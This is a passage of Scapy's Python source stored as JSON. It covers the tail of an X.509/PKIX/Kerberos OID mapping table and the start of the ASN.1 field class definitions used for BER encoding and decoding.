\"2.16.840.1.113730.1.6\": \"ca-cert-url\",\n    \"2.16.840.1.113730.1.7\": \"renewal-url\",\n    \"2.16.840.1.113730.1.8\": \"ca-policy-url\",\n    \"2.16.840.1.113730.1.9\": \"homepage-url\",\n    \"2.16.840.1.113730.1.10\": \"entity-logo\",\n    \"2.16.840.1.113730.1.11\": \"user-picture\",\n    \"2.16.840.1.113730.1.12\": \"ssl-server-name\",\n    \"2.16.840.1.113730.1.13\": \"comment\",\n    \"2.16.840.1.113730.1.14\": \"lost-password-url\",\n    \"2.16.840.1.113730.1.15\": \"cert-renewal-time\",\n    \"2.16.840.1.113730.1.16\": \"aia\",\n    \"2.16.840.1.113730.1.17\": \"cert-scope-of-use\",\n}\n\ncertPkixPe_oids = {\n    \"1.3.6.1.5.5.7.1.1\": \"authorityInfoAccess\",\n    \"1.3.6.1.5.5.7.1.2\": \"biometricInfo\",\n    \"1.3.6.1.5.5.7.1.3\": \"qcStatements\",\n    \"1.3.6.1.5.5.7.1.4\": \"auditIdentity\",\n    \"1.3.6.1.5.5.7.1.6\": \"aaControls\",\n    \"1.3.6.1.5.5.7.1.10\": \"proxying\",\n    \"1.3.6.1.5.5.7.1.11\": \"subjectInfoAccess\"\n}\n\ncertPkixQt_oids = {\n    \"1.3.6.1.5.5.7.2.1\": \"cps\",\n    \"1.3.6.1.5.5.7.2.2\": \"unotice\"\n}\n\ncertPkixKp_oids = {\n    \"1.3.6.1.5.5.7.3.1\": \"serverAuth\",\n    \"1.3.6.1.5.5.7.3.2\": \"clientAuth\",\n    \"1.3.6.1.5.5.7.3.3\": \"codeSigning\",\n    \"1.3.6.1.5.5.7.3.4\": \"emailProtection\",\n    \"1.3.6.1.5.5.7.3.5\": \"ipsecEndSystem\",\n    \"1.3.6.1.5.5.7.3.6\": \"ipsecTunnel\",\n    \"1.3.6.1.5.5.7.3.7\": \"ipsecUser\",\n    \"1.3.6.1.5.5.7.3.8\": \"timeStamping\",\n    \"1.3.6.1.5.5.7.3.9\": \"ocspSigning\",\n    \"1.3.6.1.5.5.7.3.10\": \"dvcs\",\n    \"1.3.6.1.5.5.7.3.21\": \"secureShellClient\",\n    \"1.3.6.1.5.5.7.3.22\": \"secureShellServer\"\n}\n\ncertPkixCmc_oids = {\n    \"1.3.6.1.5.5.7.7.8\": \"id-cmc-addExtensions\",\n}\n\ncertPkixCct_oids = {\n    \"1.3.6.1.5.5.7.12.2\": \"id-cct-PKIData\",\n    \"1.3.6.1.5.5.7.12.3\": \"id-cct-PKIResponse\",\n}\n\ncertPkixAd_oids = {\n    \"1.3.6.1.5.5.7.48.1\": \"ocsp\",\n    \"1.3.6.1.5.5.7.48.2\": \"caIssuers\",\n    \"1.3.6.1.5.5.7.48.3\": \"timestamping\",\n    \"1.3.6.1.5.5.7.48.4\": \"id-ad-dvcs\",\n    \"1.3.6.1.5.5.7.48.5\": \"id-ad-caRepository\",\n    \"1.3.6.1.5.5.7.48.6\": \"id-pkix-ocsp-archive-cutoff\",\n    \"1.3.6.1.5.5.7.48.7\": \"id-pkix-ocsp-service-locator\",\n    \"1.3.6.1.5.5.7.48.12\": \"id-ad-cmc\",\n    \"1.3.6.1.5.5.7.48.1.1\": \"basic-response\"\n}\n\ncertIpsec_oids = {\n    \"1.3.6.1.5.5.8.2.1\": \"iKEEnd\",\n    \"1.3.6.1.5.5.8.2.2\": \"iKEIntermediate\",\n}\n\ncertTransp_oids = {\n    '1.3.6.1.4.1.11129.2.4.2': \"SignedCertificateTimestampList\",\n}\n\n#       ansi-x962       #\n\nx962KeyType_oids = {\n    \"1.2.840.10045.1.1\": \"prime-field\",\n    \"1.2.840.10045.1.2\": \"characteristic-two-field\",\n    \"1.2.840.10045.2.1\": \"ecPublicKey\",\n}\n\nx962Signature_oids = {\n    \"1.2.840.10045.4.1\": \"ecdsa-with-SHA1\",\n    \"1.2.840.10045.4.2\": \"ecdsa-with-Recommended\",\n    \"1.2.840.10045.4.3.1\": \"ecdsa-with-SHA224\",\n    \"1.2.840.10045.4.3.2\": \"ecdsa-with-SHA256\",\n    \"1.2.840.10045.4.3.3\": \"ecdsa-with-SHA384\",\n    \"1.2.840.10045.4.3.4\": \"ecdsa-with-SHA512\"\n}\n\n#       ansi-x942       #\n\nx942KeyType_oids = {\n    \"1.2.840.10046.2.1\": \"dhpublicnumber\",  # RFC3770 sect 4.1.1\n}\n\n#       elliptic curves       #\n\nansiX962Curve_oids = {\n    \"1.2.840.10045.3.1.1\": \"prime192v1\",\n    \"1.2.840.10045.3.1.2\": \"prime192v2\",\n    \"1.2.840.10045.3.1.3\": \"prime192v3\",\n    \"1.2.840.10045.3.1.4\": \"prime239v1\",\n    \"1.2.840.10045.3.1.5\": \"prime239v2\",\n    \"1.2.840.10045.3.1.6\": \"prime239v3\",\n    \"1.2.840.10045.3.1.7\": \"prime256v1\"\n}\n\ncerticomCurve_oids = {\n    \"1.3.132.0.1\": \"ansit163k1\",\n    \"1.3.132.0.2\": \"ansit163r1\",\n    \"1.3.132.0.3\": \"ansit239k1\",\n    \"1.3.132.0.4\": \"sect113r1\",\n    \"1.3.132.0.5\": \"sect113r2\",\n    \"1.3.132.0.6\": \"secp112r1\",\n    \"1.3.132.0.7\": \"secp112r2\",\n    \"1.3.132.0.8\": \"ansip160r1\",\n    \"1.3.132.0.9\": \"ansip160k1\",\n    \"1.3.132.0.10\": \"ansip256k1\",\n    \"1.3.132.0.15\": \"ansit163r2\",\n    \"1.3.132.0.16\": \"ansit283k1\",\n    \"1.3.132.0.17\": \"ansit283r1\",\n    \"1.3.132.0.22\": \"sect131r1\",\n    \"1.3.132.0.24\": \"ansit193r1\",\n    \"1.3.132.0.25\": \"ansit193r2\",\n    \"1.3.132.0.26\": \"ansit233k1\",\n    \"1.3.132.0.27\": \"ansit233r1\",\n    \"1.3.132.0.28\": \"secp128r1\",\n    \"1.3.132.0.29\": \"secp128r2\",\n    \"1.3.132.0.30\": \"ansip160r2\",\n    \"1.3.132.0.31\": \"ansip192k1\",\n    \"1.3.132.0.32\": \"ansip224k1\",\n    \"1.3.132.0.33\": \"ansip224r1\",\n    \"1.3.132.0.34\": \"ansip384r1\",\n    \"1.3.132.0.35\": \"ansip521r1\",\n    \"1.3.132.0.36\": \"ansit409k1\",\n    \"1.3.132.0.37\": \"ansit409r1\",\n    \"1.3.132.0.38\": \"ansit571k1\",\n    \"1.3.132.0.39\": \"ansit571r1\"\n}\n\n#       policies       #\n\ncertPolicy_oids = {\n    \"2.5.29.32.0\": \"anyPolicy\"\n}\n\n# from Chromium source code (ev_root_ca_metadata.cc)\nevPolicy_oids = {\n    '1.2.392.200091.100.721.1': 'EV Security Communication RootCA1',\n    '1.2.616.1.113527.2.5.1.1': 'EV Certum Trusted Network CA',\n    '1.3.159.1.17.1': 'EV Actualis Authentication Root CA',\n    '1.3.6.1.4.1.13177.10.1.3.10': 'EV Autoridad de Certificacion Firmaprofesional CIF A62634068',\n    '1.3.6.1.4.1.14370.1.6': 'EV GeoTrust Primary Certification Authority',\n    '1.3.6.1.4.1.14777.6.1.1': 'EV Izenpe.com roots Business',\n    '1.3.6.1.4.1.14777.6.1.2': 'EV Izenpe.com roots Government',\n    '1.3.6.1.4.1.17326.10.14.2.1.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008',\n    '1.3.6.1.4.1.17326.10.14.2.2.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008',\n    '1.3.6.1.4.1.17326.10.8.12.1.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008',\n    '1.3.6.1.4.1.17326.10.8.12.2.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008',\n    '1.3.6.1.4.1.22234.2.5.2.3.1': 'EV CertPlus Class 2 Primary CA (KEYNECTIS)',\n    '1.3.6.1.4.1.23223.1.1.1': 'EV StartCom Certification Authority',\n    '1.3.6.1.4.1.29836.1.10': 'EV China Internet Network Information Center EV Certificates Root',\n    '1.3.6.1.4.1.311.60.2.1.1': 'jurisdictionOfIncorporationLocalityName',\n    '1.3.6.1.4.1.311.60.2.1.2': 'jurisdictionOfIncorporationStateOrProvinceName',\n    '1.3.6.1.4.1.311.60.2.1.3': 'jurisdictionOfIncorporationCountryName',\n    '1.3.6.1.4.1.34697.2.1': 'EV AffirmTrust Commercial',\n    '1.3.6.1.4.1.34697.2.2': 'EV AffirmTrust Networking',\n    '1.3.6.1.4.1.34697.2.3': 'EV AffirmTrust Premium',\n    '1.3.6.1.4.1.34697.2.4': 'EV AffirmTrust Premium ECC',\n    '1.3.6.1.4.1.36305.2': 'EV Certificate Authority of WoSign',\n    '1.3.6.1.4.1.40869.1.1.22.3': 'EV TWCA Roots',\n    '1.3.6.1.4.1.4146.1.1': 'EV GlobalSign Root CAs',\n    '1.3.6.1.4.1.4788.2.202.1': 'EV D-TRUST Root Class 3 CA 2 EV 2009',\n    '1.3.6.1.4.1.6334.1.100.1': 'EV Cybertrust Global Root',\n    '1.3.6.1.4.1.6449.1.2.1.5.1': 'EV USERTrust Certification Authorities',\n    '1.3.6.1.4.1.781.1.2.1.8.1': 'EV Network Solutions Certificate Authority',\n    '1.3.6.1.4.1.782.1.2.1.8.1': 'EV AddTrust External CA Root',\n    '1.3.6.1.4.1.7879.13.24.1': 'EV T-Telessec GlobalRoot Class 3',\n    '1.3.6.1.4.1.8024.0.2.100.1.2': 'EV QuoVadis Roots',\n    '2.16.528.1.1003.1.2.7': 'EV Staat der Nederlanden EV Root CA',\n    '2.16.578.1.26.1.3.3': 'EV Buypass Class 3',\n    '2.16.756.1.83.21.0': 'EV Swisscom Root EV CA 2',\n    '2.16.756.1.89.1.2.1.1': 'EV SwissSign Gold CA - G2',\n    '2.16.792.3.0.4.1.1.4': 'EV E-Tugra Certification Authority',\n    '2.16.840.1.113733.1.7.23.6': 'EV VeriSign Certification Authorities',\n    '2.16.840.1.113733.1.7.48.1': 'EV thawte CAs',\n    '2.16.840.1.114028.10.1.2': 'EV Entrust Certification Authority',\n    '2.16.840.1.114171.500.9': 'EV Wells Fargo WellsSecure Public Root Certification Authority',\n    '2.16.840.1.114404.1.1.2.4.1': 'EV XRamp Global Certification Authority',\n    '2.16.840.1.114412.2.1': 'EV DigiCert High Assurance EV Root CA',\n    '2.16.840.1.114413.1.7.23.3': 'EV ValiCert Class 2 Policy Validation Authority',\n    '2.16.840.1.114414.1.7.23.3': 'EV Starfield Certificate Authority',\n    '2.16.840.1.114414.1.7.24.3': 'EV Starfield Service Certificate Authority'\n}\n\n#       gssapi       #\n\ngssapi_oids = {\n    '1.2.840.48018.1.2.2': 'MS KRB5 - Microsoft Kerberos 5',\n    '1.2.840.113554.1.2.2': 'Kerberos 5',\n    '1.2.840.113554.1.2.2.3': 'Kerberos 5 - User to User',\n    '1.3.6.1.5.2.5': 'Kerberos 5 - IAKERB',\n    '1.3.6.1.5.5.2': 'SPNEGO - Simple Protected Negotiation',\n    '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider',\n    '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism',\n}\n\n#      kerberos      #\n\nkerberos_oids = {\n    \"1.3.6.1.5.2.3.1\": \"id-pkinit-authData\",\n    \"1.3.6.1.5.2.3.2\": \"id-pkinit-DHKeyData\",\n    \"1.3.6.1.5.2.3.3\": \"id-pkinit-rkeyData\",\n    \"1.3.6.1.5.2.3.4\": \"id-pkinit-KPClientAuth\",\n    \"1.3.6.1.5.2.3.5\": \"id-pkinit-KPKdc\",\n    # RFC8363\n    \"1.3.6.1.5.2.3.6\": \"id-pkinit-kdf\",\n    \"1.3.6.1.5.2.3.6.1\": \"id-pkinit-kdf-sha1\",\n    \"1.3.6.1.5.2.3.6.2\": \"id-pkinit-kdf-sha256\",\n    \"1.3.6.1.5.2.3.6.3\": \"id-pkinit-kdf-sha512\",\n    \"1.3.6.1.5.2.3.6.4\": \"id-pkinit-kdf-sha384\",\n}\n\n\nx509_oids_sets = [\n    pkcs1_oids,\n    secsig_oids,\n    nist_oids,\n    thawte_oids,\n    pkcs3_oids,\n    pkcs7_oids,\n    pkcs9_oids,\n    encAlgs_oids,\n    attributeType_oids,\n    certificateExtension_oids,\n    certExt_oids,\n    certPkixAd_oids,\n    certPkixKp_oids,\n    certPkixCmc_oids,\n    certPkixCct_oids,\n    certPkixPe_oids,\n    certPkixQt_oids,\n    certPolicy_oids,\n    certIpsec_oids,\n    certTransp_oids,\n    evPolicy_oids,\n    x962KeyType_oids,\n    x962Signature_oids,\n    x942KeyType_oids,\n    ansiX962Curve_oids,\n    certicomCurve_oids,\n    gssapi_oids,\n    kerberos_oids,\n]\n\nx509_oids = {}\n\nfor oids_set in x509_oids_sets:\n    x509_oids.update(oids_set)\n\nconf.mib = MIBDict(_name=\"MIB\", **x509_oids)\n\n\n#########################\n#  Hash mapping helper  #\n#########################\n\n# This dict enables static access to string references to the hash functions\n# of some algorithms from pkcs1_oids and x962Signature_oids.\n\nhash_by_oid = {\n    \"1.2.840.113549.1.1.2\": \"md2\",\n    \"1.2.840.113549.1.1.3\": \"md4\",\n    \"1.2.840.113549.1.1.4\": \"md5\",\n    \"1.2.840.113549.1.1.5\": \"sha1\",\n    \"1.2.840.113549.1.1.11\": \"sha256\",\n    \"1.2.840.113549.1.1.12\": \"sha384\",\n    \"1.2.840.113549.1.1.13\": \"sha512\",\n    \"1.2.840.113549.1.1.14\": \"sha224\",\n    \"1.2.840.10045.4.1\": \"sha1\",\n    \"1.2.840.10045.4.3.1\": \"sha224\",\n    \"1.2.840.10045.4.3.2\": \"sha256\",\n    \"1.2.840.10045.4.3.3\": \"sha384\",\n    \"1.2.840.10045.4.3.4\": \"sha512\"\n}\n"
  },
  {
    "path": "scapy/asn1fields.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Acknowledgment: Maxence Tury <maxence.tury@ssi.gouv.fr>\n\n\"\"\"\nClasses that implement ASN.1 data structures.\n\"\"\"\n\nimport copy\n\nfrom functools import reduce\n\nfrom scapy.asn1.asn1 import (\n    ASN1_BIT_STRING,\n    ASN1_BOOLEAN,\n    ASN1_Class,\n    ASN1_Class_UNIVERSAL,\n    ASN1_Error,\n    ASN1_INTEGER,\n    ASN1_NULL,\n    ASN1_OID,\n    ASN1_Object,\n    ASN1_STRING,\n)\nfrom scapy.asn1.ber import (\n    BER_Decoding_Error,\n    BER_id_dec,\n    BER_tagging_dec,\n    BER_tagging_enc,\n)\nfrom scapy.base_classes import BasePacket\nfrom scapy.volatile import (\n    GeneralizedTime,\n    RandChoice,\n    RandInt,\n    RandNum,\n    RandOID,\n    RandString,\n    RandField,\n)\n\nfrom scapy import packet\n\nfrom typing import (\n    Any,\n    AnyStr,\n    Callable,\n    Dict,\n    Generic,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    cast,\n    TYPE_CHECKING,\n)\n\nif TYPE_CHECKING:\n    from scapy.asn1packet import ASN1_Packet\n\n\nclass ASN1F_badsequence(Exception):\n    pass\n\n\nclass ASN1F_element(object):\n    pass\n\n\n##########################\n#    Basic ASN1 Field    #\n##########################\n\n_I = TypeVar('_I')  # Internal storage\n_A = TypeVar('_A')  # ASN.1 object\n\n\nclass ASN1F_field(ASN1F_element, Generic[_I, _A]):\n    holds_packets = 0\n    islist = 0\n    ASN1_tag = ASN1_Class_UNIVERSAL.ANY\n    context = ASN1_Class_UNIVERSAL  # type: Type[ASN1_Class]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[_A]\n                 context=None,  # type: Optional[Type[ASN1_Class]]\n                 implicit_tag=None,  # type: Optional[int]\n                 explicit_tag=None,  # type: Optional[int]\n                 flexible_tag=False,  # type: Optional[bool]\n                 size_len=None,  # type: Optional[int]\n                 ):\n        # type: (...) -> None\n        if context is not None:\n            self.context = context\n        self.name = name\n        if default is None:\n            self.default = default  # type: Optional[_A]\n        elif isinstance(default, ASN1_NULL):\n            self.default = default  # type: ignore\n        else:\n            self.default = self.ASN1_tag.asn1_object(default)  # type: ignore\n        self.size_len = size_len\n        self.flexible_tag = flexible_tag\n        if (implicit_tag is not None) and (explicit_tag is not None):\n            err_msg = \"field cannot be both implicitly and explicitly tagged\"\n            raise ASN1_Error(err_msg)\n        self.implicit_tag = implicit_tag and int(implicit_tag)\n        self.explicit_tag = explicit_tag and int(explicit_tag)\n        # network_tag gets useful for ASN1F_CHOICE\n        self.network_tag = int(implicit_tag or explicit_tag or self.ASN1_tag)\n        self.owners = []  # type: List[Type[ASN1_Packet]]\n\n    def register_owner(self, cls):\n        # type: (Type[ASN1_Packet]) -> None\n        self.owners.append(cls)\n\n    def i2repr(self, pkt, x):\n        # type: (ASN1_Packet, _I) -> str\n        return repr(x)\n\n    def i2h(self, pkt, x):\n        # type: (ASN1_Packet, _I) -> Any\n        return x\n\n    def m2i(self, pkt, s):\n        # type: (ASN1_Packet, bytes) -> Tuple[_A, bytes]\n        \"\"\"\n        The good thing about safedec is that it may still decode ASN1\n        even if there is a mismatch between the expected tag (self.ASN1_tag)\n        and the actual tag; the decoded ASN1 object will simply be put\n        into an ASN1_BADTAG object. However, safedec prevents the raising of\n        exceptions needed for ASN1F_optional processing.\n        Thus we use 'flexible_tag', which should be False with ASN1F_optional.\n\n        Regarding other fields, we might need to know whether encoding went\n        as expected or not. Noticeably, input methods from cert.py expect\n        certain exceptions to be raised. Hence default flexible_tag is False.\n        \"\"\"\n        diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,\n                                      implicit_tag=self.implicit_tag,\n                                      explicit_tag=self.explicit_tag,\n                                      safe=self.flexible_tag,\n                                      _fname=self.name)\n        if diff_tag is not None:\n            # this implies that flexible_tag was True\n            if self.implicit_tag is not None:\n                self.implicit_tag = diff_tag\n            elif self.explicit_tag is not None:\n                self.explicit_tag = diff_tag\n        codec = self.ASN1_tag.get_codec(pkt.ASN1_codec)\n        if self.flexible_tag:\n            return codec.safedec(s, context=self.context)  # type: ignore\n        else:\n            return codec.dec(s, context=self.context)  # type: ignore\n\n    def i2m(self, pkt, x):\n        # type: (ASN1_Packet, Union[bytes, _I, _A]) -> bytes\n        if x is None:\n            return b\"\"\n        if isinstance(x, ASN1_Object):\n            if (self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY or\n                x.tag == ASN1_Class_UNIVERSAL.RAW or\n                x.tag == ASN1_Class_UNIVERSAL.ERROR or\n               self.ASN1_tag == x.tag):\n                s = x.enc(pkt.ASN1_codec)\n            else:\n                raise ASN1_Error(\"Encoding Error: got %r instead of an %r for field [%s]\" % (x, self.ASN1_tag, self.name))  # noqa: E501\n        else:\n            s = self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x, size_len=self.size_len)\n        return BER_tagging_enc(s,\n                               implicit_tag=self.implicit_tag,\n                               explicit_tag=self.explicit_tag)\n\n    def any2i(self, pkt, x):\n        # type: (ASN1_Packet, Any) -> _I\n        return cast(_I, x)\n\n    def extract_packet(self,\n                       cls,  # type: Type[ASN1_Packet]\n                       s,  # type: bytes\n                       _underlayer=None  # type: Optional[ASN1_Packet]\n                       ):\n        # type: (...) -> Tuple[ASN1_Packet, bytes]\n        try:\n            c = cls(s, _underlayer=_underlayer)\n        except ASN1F_badsequence:\n            c = packet.Raw(s, _underlayer=_underlayer)  # type: ignore\n        cpad = c.getlayer(packet.Raw)\n        s = b\"\"\n        if cpad is not None:\n            s = cpad.load\n            if cpad.underlayer:\n                del cpad.underlayer.payload\n        return c, s\n\n    def build(self, pkt):\n        # type: (ASN1_Packet) -> bytes\n        return self.i2m(pkt, getattr(pkt, self.name))\n\n    def dissect(self, pkt, s):\n        # type: (ASN1_Packet, bytes) -> bytes\n        v, s = self.m2i(pkt, s)\n        self.set_val(pkt, v)\n        return s\n\n    def do_copy(self, x):\n        # type: (Any) -> Any\n        if isinstance(x, list):\n            x = x[:]\n            for i in range(len(x)):\n                if isinstance(x[i], BasePacket):\n                    x[i] = x[i].copy()\n            return x\n        if hasattr(x, \"copy\"):\n            return x.copy()\n        return x\n\n    def set_val(self, pkt, val):\n        # type: (ASN1_Packet, Any) -> None\n        setattr(pkt, self.name, val)\n\n    def is_empty(self, pkt):\n        # type: (ASN1_Packet) -> bool\n        return getattr(pkt, self.name) is None\n\n    def get_fields_list(self):\n        # type: () -> List[ASN1F_field[Any, Any]]\n        return [self]\n\n    def __str__(self):\n        # type: () -> str\n        return repr(self)\n\n    def randval(self):\n        # type: () -> RandField[_I]\n        return cast(RandField[_I], RandInt())\n\n    def copy(self):\n        # type: () -> ASN1F_field[_I, _A]\n        return copy.copy(self)\n\n\n############################\n#    Simple ASN1 Fields    #\n############################\n\nclass ASN1F_BOOLEAN(ASN1F_field[bool, ASN1_BOOLEAN]):\n    ASN1_tag = ASN1_Class_UNIVERSAL.BOOLEAN\n\n    def randval(self):\n        # type: () -> RandChoice\n        return RandChoice(True, False)\n\n\nclass ASN1F_INTEGER(ASN1F_field[int, ASN1_INTEGER]):\n    ASN1_tag = ASN1_Class_UNIVERSAL.INTEGER\n\n    def randval(self):\n        # type: () -> RandNum\n        return RandNum(-2**64, 2**64 - 1)\n\n\nclass ASN1F_enum_INTEGER(ASN1F_INTEGER):\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: ASN1_INTEGER\n                 enum,  # type: Dict[int, str]\n                 context=None,  # type: Optional[Any]\n                 implicit_tag=None,  # type: Optional[Any]\n                 explicit_tag=None,  # type: Optional[Any]\n                 ):\n        # type: (...) -> None\n        super(ASN1F_enum_INTEGER, self).__init__(\n            name, default, context=context,\n            implicit_tag=implicit_tag,\n            explicit_tag=explicit_tag\n        )\n        i2s = self.i2s = {}  # type: Dict[int, str]\n        s2i = self.s2i = {}  # type: Dict[str, int]\n        if isinstance(enum, list):\n            keys = range(len(enum))\n        else:\n            keys = list(enum)\n        if any(isinstance(x, str) for x in keys):\n            i2s, s2i = s2i, i2s  # type: ignore\n        for k in keys:\n            i2s[k] = enum[k]\n            s2i[enum[k]] = k\n\n    def i2m(self,\n            pkt,  # type: ASN1_Packet\n            s,  # type: Union[bytes, str, int, ASN1_INTEGER]\n            ):\n        # type: (...) -> bytes\n        if not isinstance(s, str):\n            vs = s\n        else:\n            vs = self.s2i[s]\n        return super(ASN1F_enum_INTEGER, self).i2m(pkt, vs)\n\n    def i2repr(self,\n               pkt,  # type: ASN1_Packet\n               x,  # type: Union[str, int]\n               ):\n        # type: (...) -> str\n        if x is not None and isinstance(x, ASN1_INTEGER):\n            r = self.i2s.get(x.val)\n            if r:\n                return \"'%s' %s\" % (r, repr(x))\n        return repr(x)\n\n\nclass ASN1F_BIT_STRING(ASN1F_field[str, ASN1_BIT_STRING]):\n    ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[Union[ASN1_BIT_STRING, AnyStr]]\n                 default_readable=True,  # type: bool\n                 context=None,  # type: Optional[Any]\n                 implicit_tag=None,  # type: Optional[int]\n                 explicit_tag=None,  # type: Optional[int]\n                 ):\n        # type: (...) -> None\n        super(ASN1F_BIT_STRING, self).__init__(\n            name, None, context=context,\n            implicit_tag=implicit_tag,\n            explicit_tag=explicit_tag\n        )\n        if isinstance(default, (bytes, str)):\n            self.default = ASN1_BIT_STRING(default,\n                                           readable=default_readable)\n        else:\n            self.default = default\n\n    def randval(self):\n        # type: () -> RandString\n        return RandString(RandNum(0, 1000))\n\n\nclass ASN1F_STRING(ASN1F_field[str, ASN1_STRING]):\n    ASN1_tag = ASN1_Class_UNIVERSAL.STRING\n\n    def randval(self):\n        # type: () -> RandString\n        return RandString(RandNum(0, 1000))\n\n\nclass ASN1F_NULL(ASN1F_INTEGER):\n    ASN1_tag = ASN1_Class_UNIVERSAL.NULL\n\n\nclass ASN1F_OID(ASN1F_field[str, ASN1_OID]):\n    ASN1_tag = ASN1_Class_UNIVERSAL.OID\n\n    def randval(self):\n        # type: () -> RandOID\n        return RandOID()\n\n\nclass ASN1F_ENUMERATED(ASN1F_enum_INTEGER):\n    ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED\n\n\nclass ASN1F_UTF8_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.UTF8_STRING\n\n\nclass ASN1F_NUMERIC_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING\n\n\nclass ASN1F_PRINTABLE_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING\n\n\nclass ASN1F_T61_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.T61_STRING\n\n\nclass ASN1F_VIDEOTEX_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING\n\n\nclass ASN1F_IA5_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.IA5_STRING\n\n\nclass ASN1F_GENERAL_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.GENERAL_STRING\n\n\nclass ASN1F_UTC_TIME(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME\n\n    def randval(self):  # type: ignore\n        # type: () -> GeneralizedTime\n        return GeneralizedTime()\n\n\nclass ASN1F_GENERALIZED_TIME(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME\n\n    def randval(self):  # type: ignore\n        # type: () -> GeneralizedTime\n        return GeneralizedTime()\n\n\nclass ASN1F_ISO646_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.ISO646_STRING\n\n\nclass ASN1F_UNIVERSAL_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING\n\n\nclass ASN1F_BMP_STRING(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_UNIVERSAL.BMP_STRING\n\n\nclass ASN1F_SEQUENCE(ASN1F_field[List[Any], List[Any]]):\n    # Here is how you could decode a SEQUENCE\n    # with an unknown, private high-tag prefix :\n    # class PrivSeq(ASN1_Packet):\n    #     ASN1_codec = ASN1_Codecs.BER\n    #     ASN1_root = ASN1F_SEQUENCE(\n    #                       <asn1 field #0>,\n    #                       ...\n    #                       <asn1 field #N>,\n    #                       explicit_tag=0,\n    #                       flexible_tag=True)\n    # Because we use flexible_tag, the value of the explicit_tag does not matter.  # noqa: E501\n    ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE\n    holds_packets = 1\n\n    def __init__(self, *seq, **kwargs):\n        # type: (*Any, **Any) -> None\n        name = \"dummy_seq_name\"\n        default = [field.default for field in seq]\n        super(ASN1F_SEQUENCE, self).__init__(\n            name, default, **kwargs\n        )\n        self.seq = seq\n        self.islist = len(seq) > 1\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s%r>\" % (self.__class__.__name__, self.seq)\n\n    def is_empty(self, pkt):\n        # type: (ASN1_Packet) -> bool\n        return all(f.is_empty(pkt) for f in self.seq)\n\n    def get_fields_list(self):\n        # type: () -> List[ASN1F_field[Any, Any]]\n        return reduce(lambda x, y: x + y.get_fields_list(),\n                      self.seq, [])\n\n    def m2i(self, pkt, s):\n        # type: (Any, bytes) -> Tuple[Any, bytes]\n        \"\"\"\n        ASN1F_SEQUENCE behaves transparently, with nested ASN1_objects being\n        dissected one by one. Because we use obj.dissect (see loop below)\n        instead of obj.m2i (as we trust dissect to do the appropriate set_vals)\n        we do not directly retrieve the list of nested objects.\n        Thus m2i returns an empty list (along with the proper remainder).\n        It is discarded by dissect() and should not be missed elsewhere.\n        \"\"\"\n        diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag,\n                                      implicit_tag=self.implicit_tag,\n                                      explicit_tag=self.explicit_tag,\n                                      safe=self.flexible_tag,\n                                      _fname=pkt.name)\n        if diff_tag is not None:\n            if self.implicit_tag is not None:\n                self.implicit_tag = diff_tag\n            elif self.explicit_tag is not None:\n                self.explicit_tag = diff_tag\n        codec = self.ASN1_tag.get_codec(pkt.ASN1_codec)\n        i, s, remain = codec.check_type_check_len(s)\n        if len(s) == 0:\n            for obj in self.seq:\n                obj.set_val(pkt, None)\n        else:\n            for obj in self.seq:\n                try:\n                    s = obj.dissect(pkt, s)\n                except ASN1F_badsequence:\n                    break\n            if len(s) > 0:\n                raise BER_Decoding_Error(\"unexpected remainder\", remaining=s)\n        return [], remain\n\n    def dissect(self, pkt, s):\n        # type: (Any, bytes) -> bytes\n        _, x = self.m2i(pkt, s)\n        return x\n\n    def build(self, pkt):\n        # type: (ASN1_Packet) -> bytes\n        s = reduce(lambda x, y: x + y.build(pkt),\n                   self.seq, b\"\")\n        return super(ASN1F_SEQUENCE, self).i2m(pkt, s)\n\n\nclass ASN1F_SET(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_UNIVERSAL.SET\n\n\n_SEQ_T = Union[\n    'ASN1_Packet',\n    Type[ASN1F_field[Any, Any]],\n    'ASN1F_PACKET',\n    ASN1F_field[Any, Any],\n]\n\n\nclass ASN1F_SEQUENCE_OF(ASN1F_field[List[_SEQ_T],\n                                    List[ASN1_Object[Any]]]):\n    \"\"\"\n    Two types are allowed as cls: ASN1_Packet, ASN1F_field\n    \"\"\"\n    ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE\n    islist = 1\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Any\n                 cls,  # type: 